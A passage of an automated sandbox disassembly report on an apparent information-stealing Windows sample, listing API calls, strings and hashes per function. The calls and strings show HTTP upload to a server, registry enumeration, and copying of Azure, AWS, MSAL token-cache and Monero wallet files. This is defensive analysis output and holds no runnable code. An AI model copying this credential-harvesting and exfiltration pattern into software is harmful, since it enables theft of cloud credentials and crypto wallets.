lstrcat.KERNEL32(?,0071148C), ref: 006FD2C1
lstrcat.KERNEL32(?,00000000), ref: 006FD2D4
lstrcat.KERNEL32(?,00711490), ref: 006FD2E3

Part of subcall function 0070A820: lstrlen.KERNEL32(006F4F05,?,?,006F4F05,00710DDE), ref: 0070A82B
Part of subcall function 0070A820: lstrcpy.KERNEL32(00710DDE,00000000), ref: 0070A885

lstrlen.KERNEL32(?), ref: 006FD32A
lstrlen.KERNEL32(?), ref: 006FD339

Part of subcall function 0070AA70: StrCmpCA.SHLWAPI(01239298,006FA7A7,?,006FA7A7,01239298), ref: 0070AA8F

DeleteFileA.KERNEL32(00000000), ref: 006FD3B4

Memory Dump Source

Source File: 00000000.00000002.1963816981.00000000006F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006F0000, based on PE: true

Associated: 00000000.00000002.1963799335.00000000006F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000778000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000077F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000782000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000895000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.000000000094E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964386132.0000000000BEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964488608.0000000000D8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964503749.0000000000D90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
String ID:
API String ID: 1956182324-0
Opcode ID: 62f966384c7905bd8b7506edfb85742d9d58a5609031d34054e123f0d8d5a5b3
Instruction ID: dd77d02eb1b45100fff15c124020fa4547c8ef32a3f88391e779d0d003125891
Opcode Fuzzy Hash: 62f966384c7905bd8b7506edfb85742d9d58a5609031d34054e123f0d8d5a5b3
Instruction Fuzzy Hash: E7E104B1910208EBCB05EBA0DD9AEEE73B9AF14301F504254F547A60D1DE39AE05DF62

Function 006F4880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0070A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0070A7E6

Part of subcall function 006F47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 006F4839
Part of subcall function 006F47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 006F4849

Part of subcall function 0070A740: lstrcpy.KERNEL32(00710E17,00000000), ref: 0070A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 006F4915
StrCmpCA.SHLWAPI(?,0123E8E8), ref: 006F493A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 006F4ABA
lstrlen.KERNEL32(00000000,00000000,?,?,?,?,00710DDB,00000000,?,?,00000000,?,",00000000,?,0123E888), ref: 006F4DE8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 006F4E04
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 006F4E18
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 006F4E49
InternetCloseHandle.WININET(00000000), ref: 006F4EAD
InternetCloseHandle.WININET(00000000), ref: 006F4EC5
HttpOpenRequestA.WININET(00000000,0123E838,?,0123E3C8,00000000,00000000,00400100,00000000), ref: 006F4B15

Part of subcall function 0070A9B0: lstrlen.KERNEL32(?,01238F68,?,\Monero\wallet.keys,00710E17), ref: 0070A9C5
Part of subcall function 0070A9B0: lstrcpy.KERNEL32(00000000), ref: 0070AA04
Part of subcall function 0070A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0070AA12

Part of subcall function 0070A8A0: lstrcpy.KERNEL32(?,00710E17), ref: 0070A905

Part of subcall function 0070A920: lstrcpy.KERNEL32(00000000,?), ref: 0070A972
Part of subcall function 0070A920: lstrcat.KERNEL32(00000000), ref: 0070A982

InternetCloseHandle.WININET(00000000), ref: 006F4ECF

Strings

", xrefs: 006F4BF2
------, xrefs: 006F49BD
------, xrefs: 006F4B28
", xrefs: 006F4D33
------, xrefs: 006F4C69

Memory Dump Source

Source File: 00000000.00000002.1963816981.00000000006F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006F0000, based on PE: true

Associated: 00000000.00000002.1963799335.00000000006F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000778000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000077F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000782000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000895000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.000000000094E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964386132.0000000000BEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964488608.0000000000D8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964503749.0000000000D90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f0000_file.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------
API String ID: 460715078-2180234286
Opcode ID: 25820f9d537760cfaaa8c0df8684c36af4d89d0c4ec182111b9635ca04546a4f
Instruction ID: 27d10fc6b8a470676f1afbb6793714c427579aaa9dff418a8c2b7afee1803507
Opcode Fuzzy Hash: 25820f9d537760cfaaa8c0df8684c36af4d89d0c4ec182111b9635ca04546a4f
Instruction Fuzzy Hash: 4712C071910218EADB15EB50DD96FEEB3B9AF14300F5082A9B106A60D1DF786F49CF62

Function 00708320 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 196registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0070A740: lstrcpy.KERNEL32(00710E17,00000000), ref: 0070A788

RegOpenKeyExA.KERNEL32(00000000,0123B5C8,00000000,00020019,00000000,007105B6), ref: 007083A4
RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00708426
wsprintfA.USER32 ref: 00708459
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 0070847B
RegCloseKey.ADVAPI32(00000000), ref: 0070848C
RegCloseKey.ADVAPI32(00000000), ref: 00708499

Part of subcall function 0070A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0070A7E6

Strings

%s\%s, xrefs: 0070844D
- , xrefs: 007085A3
?, xrefs: 0070837A

Memory Dump Source

Source File: 00000000.00000002.1963816981.00000000006F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006F0000, based on PE: true

Associated: 00000000.00000002.1963799335.00000000006F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000778000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000077F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000782000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000895000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.000000000094E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964386132.0000000000BEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964488608.0000000000D8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964503749.0000000000D90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f0000_file.jbxd

Yara matches

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 3246050789-3278919252
Opcode ID: 5f5cee3f6f3296d8528c9330cb308ac6a44b58e6d63c1df30c930d80d468ad4e
Instruction ID: 50c98c6f56c64253bf3c3cfc40c2c921c6da816921ebca29e47dca762cc7aa1c
Opcode Fuzzy Hash: 5f5cee3f6f3296d8528c9330cb308ac6a44b58e6d63c1df30c930d80d468ad4e
Instruction Fuzzy Hash: 9F812DB1914218EBEB64DB54CC95FEAB7F8FF48700F008298E149A6181DF756B85CFA1

Function 006F6280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0070A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0070A7E6

Part of subcall function 006F47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 006F4839
Part of subcall function 006F47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 006F4849

Part of subcall function 0070A740: lstrcpy.KERNEL32(00710E17,00000000), ref: 0070A788

InternetOpenA.WININET(00710DFE,00000001,00000000,00000000,00000000), ref: 006F62E1
StrCmpCA.SHLWAPI(?,0123E8E8), ref: 006F6303
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 006F6335
HttpOpenRequestA.WININET(00000000,GET,?,0123E3C8,00000000,00000000,00400100,00000000), ref: 006F6385
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 006F63BF
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 006F63D1
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 006F63FD
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 006F646D
InternetCloseHandle.WININET(00000000), ref: 006F64EF
InternetCloseHandle.WININET(00000000), ref: 006F64F9
InternetCloseHandle.WININET(00000000), ref: 006F6503

Strings

GET, xrefs: 006F637C
ERROR, xrefs: 006F64C9
ERROR, xrefs: 006F6407

Memory Dump Source

Source File: 00000000.00000002.1963816981.00000000006F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006F0000, based on PE: true

Associated: 00000000.00000002.1963799335.00000000006F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000778000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000077F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000782000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000895000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.000000000094E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964386132.0000000000BEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964488608.0000000000D8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964503749.0000000000D90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET
API String ID: 3749127164-2509457195
Opcode ID: 4e1a2adcc7f62b9d9f46199083fe45647781f2779b8dfb378553d30d9633abae
Instruction ID: ee8312f9f887e57f85f439c53a165e0685c0446e3e5d5cf6b4bd9abccc818a77
Opcode Fuzzy Hash: 4e1a2adcc7f62b9d9f46199083fe45647781f2779b8dfb378553d30d9633abae
Instruction Fuzzy Hash: FC713F71A10318EBDB14EBA4DC49FEE77B5BB44700F108198F60AAB1D0DBB86A85DF51

Function 00705510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 0070A820: lstrlen.KERNEL32(006F4F05,?,?,006F4F05,00710DDE), ref: 0070A82B
Part of subcall function 0070A820: lstrcpy.KERNEL32(00710DDE,00000000), ref: 0070A885

Part of subcall function 0070A740: lstrcpy.KERNEL32(00710E17,00000000), ref: 0070A788

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00705644
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 007056A1
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00705857

Part of subcall function 0070A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0070A7E6

Part of subcall function 007051F0: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00705228

Part of subcall function 0070A8A0: lstrcpy.KERNEL32(?,00710E17), ref: 0070A905

Part of subcall function 007052C0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00705318
Part of subcall function 007052C0: lstrlen.KERNEL32(00000000), ref: 0070532F
Part of subcall function 007052C0: StrStrA.SHLWAPI(00000000,00000000), ref: 00705364
Part of subcall function 007052C0: lstrlen.KERNEL32(00000000), ref: 00705383
Part of subcall function 007052C0: lstrlen.KERNEL32(00000000), ref: 007053AE

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 0070578B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00705940
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00705A0C
Sleep.KERNEL32(0000EA60), ref: 00705A1B

Strings

ERROR, xrefs: 007059FE
ERROR, xrefs: 0070577D
ERROR, xrefs: 00705636
ERROR, xrefs: 00705932
ERROR, xrefs: 00705693
ERROR, xrefs: 00705849

Memory Dump Source

Source File: 00000000.00000002.1963816981.00000000006F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006F0000, based on PE: true

Associated: 00000000.00000002.1963799335.00000000006F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000778000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000077F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000782000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000895000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.000000000094E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964386132.0000000000BEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964488608.0000000000D8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964503749.0000000000D90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleep
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 507064821-2791005934
Opcode ID: bbbd7458f6f3184ad26bb5d3d5e42b0b0c612a9649dabd1be48575271309ed43
Instruction ID: 23a412d41ffce6a4c08aeb18047566a3a8e25f6a2ae7dc9760ac585db23a0fb4
Opcode Fuzzy Hash: bbbd7458f6f3184ad26bb5d3d5e42b0b0c612a9649dabd1be48575271309ed43
Instruction Fuzzy Hash: 4CE12471910208EADB15FBA0DC5AEFE73B9AF54300F50C628B506961D1EF386B49DF92

Function 00704D70 Relevance: 22.6, APIs: 6, Strings: 9, Instructions: 123stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00708DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00708E0B

lstrcat.KERNEL32(?,00000000), ref: 00704DB0
lstrcat.KERNEL32(?,\.azure\), ref: 00704DCD

Part of subcall function 00704910: wsprintfA.USER32 ref: 0070492C
Part of subcall function 00704910: FindFirstFileA.KERNEL32(?,?), ref: 00704943

lstrcat.KERNEL32(?,00000000), ref: 00704E3C
lstrcat.KERNEL32(?,\.aws\), ref: 00704E59

Part of subcall function 00704910: StrCmpCA.SHLWAPI(?,00710FDC), ref: 00704971
Part of subcall function 00704910: StrCmpCA.SHLWAPI(?,00710FE0), ref: 00704987
Part of subcall function 00704910: FindNextFileA.KERNEL32(000000FF,?), ref: 00704B7D
Part of subcall function 00704910: FindClose.KERNEL32(000000FF), ref: 00704B92

lstrcat.KERNEL32(?,00000000), ref: 00704EC8
lstrcat.KERNEL32(?,\.IdentityService\), ref: 00704EE5

Part of subcall function 00704910: wsprintfA.USER32 ref: 007049B0
Part of subcall function 00704910: StrCmpCA.SHLWAPI(?,007108D2), ref: 007049C5
Part of subcall function 00704910: wsprintfA.USER32 ref: 007049E2
Part of subcall function 00704910: PathMatchSpecA.SHLWAPI(?,?), ref: 00704A1E
Part of subcall function 00704910: lstrcat.KERNEL32(?,0123E848), ref: 00704A4A
Part of subcall function 00704910: lstrcat.KERNEL32(?,00710FF8), ref: 00704A5C
Part of subcall function 00704910: lstrcat.KERNEL32(?,?), ref: 00704A70
Part of subcall function 00704910: lstrcat.KERNEL32(?,00710FFC), ref: 00704A82
Part of subcall function 00704910: lstrcat.KERNEL32(?,?), ref: 00704A96
Part of subcall function 00704910: CopyFileA.KERNEL32(?,?,00000001), ref: 00704AAC
Part of subcall function 00704910: DeleteFileA.KERNEL32(?), ref: 00704B31

Strings

*.*, xrefs: 00704E64
msal.cache, xrefs: 00704EF0
*.*, xrefs: 00704DD8
\.azure\, xrefs: 00704DC1
Azure\.IdentityService, xrefs: 00704EEB
Azure\.aws, xrefs: 00704E5F
\.IdentityService\, xrefs: 00704ED9
\.aws\, xrefs: 00704E4D
Azure\.azure, xrefs: 00704DD3

Memory Dump Source

Source File: 00000000.00000002.1963816981.00000000006F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006F0000, based on PE: true

Associated: 00000000.00000002.1963799335.00000000006F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000778000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000077F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000782000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000895000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.000000000094E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964386132.0000000000BEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964488608.0000000000D8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964503749.0000000000D90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 949356159-974132213
Opcode ID: c90e35ee2caedbccc037890d89296b1f7cb639f1a92927fe6df9be40f8fccc35
Instruction ID: 215f776cc2ef7c437d0d606e50f01148d9e44f9fbca42773372a3095aa045b5f
Opcode Fuzzy Hash: c90e35ee2caedbccc037890d89296b1f7cb639f1a92927fe6df9be40f8fccc35
Instruction Fuzzy Hash: C64184FAA50308A6D754F770DC4BFED3378AB24704F4045947285660C1EEB99BC98B92

Function 006F1310 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 141stringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 006F12A0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 006F12B4
